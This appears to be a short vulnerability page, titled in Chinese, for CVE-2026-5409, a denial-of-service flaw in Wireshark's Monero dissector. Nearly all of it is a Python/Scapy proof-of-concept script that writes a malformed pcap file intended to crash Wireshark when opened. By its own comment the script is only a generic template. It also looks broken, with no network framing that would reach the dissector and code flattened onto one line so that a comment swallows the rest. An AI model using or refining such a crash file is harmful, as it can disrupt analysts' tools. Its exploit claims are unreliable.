CVE-2026-5409: Wireshark Monero协议解析器拒绝服务漏洞

import scapy.all as scapy from scapy.utils import wrpcap # Construct a malformed packet targeting Monero dissector logic # Note: This is a generic template for creating a crash PoC. # Specific field manipulation depends on the internal parsing logic of Wireshark's Monero dissector. class MalformedMonero(scapy.Packet): name = "Malformed Monero" fields_desc = [ scapy.ByteField("magic", 0x00), scapy.FieldLenField("length", None, length_of="data", fmt="I"), scapy.StrLenField("data", b"\x00"*1000, length_from=lambda pkt: pkt.length), # Introducing an invalid field to trigger the crash scapy.IntField("invalid_size", 0xFFFFFFFF) ] # Create the packet pkt = MalformedMonero() # Save to pcap file wrpcap("cve_2026_5409_crash.pcap", [pkt])